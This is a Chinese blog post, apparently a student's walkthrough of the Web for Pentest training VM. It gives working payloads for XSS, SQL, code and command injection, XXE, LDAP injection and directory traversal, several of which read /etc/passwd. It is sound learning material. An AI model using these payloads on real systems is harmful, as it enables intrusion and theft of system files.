HeartSky's blog


在渗透之路上渐行渐远


web-for-pentest

学了一些xss和sql的知识后,没有找到好的练习平台,便去求助学长,然后土土学长推荐我看下lightless学长发的web for pentest。下载后安装在虚拟机里,整个前期准备很简单,下面开始试下水

XSS

Example1

看到Hello hacker,然后url中有name=hacker,换个字符试下,果然,是php获取$_GET[‘name’]的值,然后输出出来,和自己最初学习xss时练习的一样。试下<script>alert('xss')</script>,成功弹窗

Example2

先输入上面的最基本的payload试下,发现被过滤了,那就构造<scr<script>ipt>alert(%27xss%27)</scr</script>ipt>

Example3

这题用第二题的payload就可以弹窗,不知道和第二题有什么区别

Example4

输入script时就会全部替换为error,那就用img标签,<img src="" onerror="alert('xss')">,做到这已经明白这个系列了,绕过各种过滤

Example5

不能输入alert,考虑String.fromCharCode()函数,<img src="" onerror=eval(String.fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41))>

Example6

怎么输都不显示,后来f12看了下,发现输入的字符赋给了$a(开始变换姿势了),既然如此,就很简单了,";alert(%27xss%27);//

Example7

上面的双引号换成了单引号,思路不变,';alert(%27xss%27);//

Example8

题目换成了一个输入框,点击发送时会把里面的内容原样显示出来,毫无思路,看了下其他人写的题解,表单的目标url是可以构造的,于是可以这样"%20onsubmit="alert('xss'),用户点击时就会弹窗

Example9

查看源码,document.write(location.hash.substring(1));,输出从#开始的url,换汤不换药,思路不变,过滤了<script>,第四题的payload就可以,<img src="" onerror="alert('xss')">

今天晚上做出来了xss部分是一个好的开始,睡觉,明天继续!顺便再研究下md语法!


SQL injections

下载东西设置定时关机,忘记保存wp,只能重新写这部分,血的教训!

Example1

单引号字符型注入,不会报错,最基本的,' or '1'='1

Example2

还是字符型,先试下上面的payload,提示ERROR NO SPACE,那就把空格删了,'or'1'='1,结果可以了,所以不用空格也是可以的?

Example3

提示和解法都和第二题一样,难道是我误会了出题者的意思 = =?

Example4

换成了数字型,2 or 1=1

Example5

和上面题一样

Example6

还是同样的注入,我有点慌了

Example7

终于有变化了,先输入上面的payload后提示ERROR INTEGER REQUIRED,然后我就不会做了。。。

Example8

order by语句的话,在mysql中是SELECT * FROM users ORDER BY nameORDER BY `name` ,试下name`;%23,输出不变,所以这题是第二种,位于反引号内

Example9

和上面那题类似,只不过是采用的第一种语句,name and 1=1,输出结果不变,然后就就可以自由发挥了

整体来说比较基本,而且lightless学长说过,

盲注才是注入的精髓

所以sql注入方面下一步学习用php写盲注脚本


2016.7.28 最近在看《白帽子讲web安全》这本书,想起来这里有一些合适的题,便来做一下

File Include

分为本地文件包含(Local File Inclusion)和远程文件包含(Remote File Inclusion)

Example 1

1
example1.php?page=intro.php

修改intro.php,可以包含其他文件

Example 2

1
example2.php?page=intro

和上题差不多,只不过默认文件名是.php,只要用%00截断就可以了


File Upload

Example 1

没有过滤,可以直接上传脚本
比如本地有一个test.php的文件,内容是

1
2
3
<?php
phpinfo();
?>

这样就可以看到有关PHP配置的信息

Example 2

要求上传图像文件,测试了下是黑名单,所以这里利用Apache对文件名从后向前解析、遇到不认识的文件类型向前遍历的特性,把本地的文件名修改为test.php.aaa


Code injection

代码注入是因为不安全的函数或方法没有被禁用(如eval(),system()),而且没有对用户的输入数据做处理,导致攻击者修改输入数据执行了自己想要的命令

Example 1

GET请求为

1
name=hacker

输出为

1
Hello hacker!!!

猜测代码可能是这样

1
2
$name = $_GET['name'];
eval('echo "Hello $name!!!"');

构造GET请求(第一个;可替换为.)

1
2
name=";phpinfo();$a="
eval('echo "";phpinfo();$a="";');

或者( // 替换为 # 也可以 )

1
2
name=".phpinfo();//
eval('echo "".phpinfo();//');

Example 2

1
order=);}phpinfo();//

这题有点想不通源码怎么写的,先放上别人的答案吧

Example 3

GET请求为

1
new=hacker&pattern=/lamer/&base=Hello%20lamer

输出为

1
Hello hacker

经过测试后发现 /string/ 里的 string 被替换成了 new 的值,源码大概是这样

1
2
3
4
$new = $_GET['new'];
$pattern = $_GET['pattern'];
$base = $_GET['base'];
preg_replace($pattern,$new,$base);

这题的关键在于/e修饰符会使函数preg_replace()在替换时把替换字符串当做PHP代码来执行,所以我们可以让new=phpinfo(),不过要注意的是/e修饰符从PHP5.5.0开始已经被弃用了

Example 4

GET请求为

1
name=hacker

输出为

1
Hello hacker

当提交单引号时出现错误信息

1
Parse error: syntax error, unexpected T_ENCAPSED_AND_WHITESPACE in /var/www/codeexec/example4.php(4) : assert code on line 1 Catchable fatal error: assert(): Failure evaluating code: 'hacker'' in /var/www/codeexec/example4.php on line 4

可以看到后面是错误执行代码’hacker’’,那么我们可以先闭合单引号然后直接注入代码

1
hacker'.phpinfo().'


Commands injection

命令注入,即应用程序把用户的输入(URL,请求参数以及cookie)当做了OS命令的一部分来执行

Example 1

ping命令,对用户数据没有任何的检测,修改GET请求为

1
ip=127.0.0.1 %26%26 cat /etc/passwd

%26是&的URL编码,必须进行编码,否则无法执行命令

Example 2

和上题一样,也是ping命令,不过加了验证,注入上面的payload输出Invalid IP address,检测是否是一个正确的IP地址,这里我们可以用换行符(%0a)

1
ip=127.0.0.1%0acat /etc/passwd

Example 3

依然是ping命令,先测试前两个payload看下输出,均重定向到了example3.php?ip=127.0.0.1,问但题在于是执行完命令后再跳转的,所以可以通过抓包看到注入结果


XML attacks

这里的XML和下面的LDAP以前都没接触过,那就现学吧

Example 1

GET请求为

1
xml=<test>hacker</test>

输出为

1
Hello hacker

这里存在XML外部实体(XXE)注入漏洞

1
xml=<!DOCTYPE a [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><test>%26xxe;</test>

这里我们定义了一个实体引用&xxe;,XML解析器会提取指定文件的内容并用它替代这个实体引用,所以就可以得到服务器上文件的内容

Example 2

GET请求为

1
name=hacker

输出和上题一样,注入单引号后根据错误信息可以看出使用XPath(XML路径语言)来查询XML文档中的节点,源码是看的别人的,刚接触实在想不出来

1
[PARENT NODES]/name[.='[INPUT]']/[CHILD NODES]

所以可以构造语句(NULL字节是XPath中的注释符,URL编码为%00)

1
name=hacker' or 1=1]/../child::node()%00

可以查询父节点下的所有子节点
这里就不再继续了,等之后再深入研究吧


LDAP attacks

LDAP(轻量级目录访问协议)用于访问网络中的目录(分级结构的数据存储区)服务。有三种查询方法,简单匹配条件(匹配单个值),析取查询(满足其中任何一个条件),合取查询(满足所有条件)
例如 (user=test) (!(user=test1)(user=test2)) (&(user=test)(pass=test)) 分别表示了上面三种查询方法

Example 1

GET请求为

1
username=hacker&password=hacker

问题在于在一些LDAP的服务器中,如果没有请求参数值被发送,LDAP服务器将会绑定连接,而且PHP代码将会认为验证正确

Some LDAP servers authorise NULL Bind: if null values are sent, the LDAP server will proceed to bind the connection, and the PHP code will think that the credentials are correct.

所以可以把GET请求删掉,就会输出AUTHENTICATED,这让我想起了土师傅出的那道验证码题也是删掉请求,只不过那是POST请求,需要抓包,而且是故意造的洞,无论你输入什么都不会得到flag

Example 2

GET请求和上题一样,输出为

1
AUTHENTICATED as hacker

如果我们想要以admin身份登录呢?
经测试推测出过滤器源码

1
(&(name=[input1])(password=HASH[input2]))

可以这样

1
name=admin))%00&password=233

LDAP本身并不支持注释,但它在处理NULL字节时会立即终止字符串的漏洞造成了可以完成”注释”
还有一种常用的方法是

1
2
name=admin))(&(name=233&password=233
(&(name=admin))(&(name=233)(password=233))

这样就有了两个搜索过滤器,但只有一部分LDAP允许使用多个过滤器(选择性使用),比如这题就不可以


Directory traversal

目录遍历漏洞。没有给出连接,只有三个头像,果断F12查看以下,果然有图片的路径。那么就开始吧,这里我们以获取 /etc/passwd 为例

Example 1

1
<img src="dirtrav/example1.php?file=hacker.png" width="20">

猜测可能是当前目录,那么向上查询试试

1
http://192.168.253.128/dirtrav/example1.php?file=../../../etc/passwd

Example 2

1
<img src="dirtrav/example2.php?file=/var/www/files/hacker.png" width="20">

这题就很简单了,绝对路径都有了,向上返回三次就到达根目录了

1
http://192.168.253.128/dirtrav/example2.php?file=/var/www/files/../../../etc/passwd

Example 3

1
<img src="dirtrav/example3.php?file=hacker" width="20">

很明显和第一题是一样的,只不过自动帮你加上了.png后缀,可以用%00截断嘛

1
http://192.168.253.128/dirtrav/example3.php?file=../../../etc/passwd%00

挺简单的,这里有一个小技巧,你不用逐层向上查询,因为cd /../,还是在根目录,所以直接用很多../,根本不用一个个的向上试

做到这里这个镜像内的题目就结束了,收获还是挺多的,知道了命令注入、代码注入、文件包含、文件上传、目录遍历、LDAP注入、XML注入等等的基本思路和原理,学的越多,越感到自己的无知,何况自己才刚入门,希望接下来的一个月能够学到更多的东西吧 :)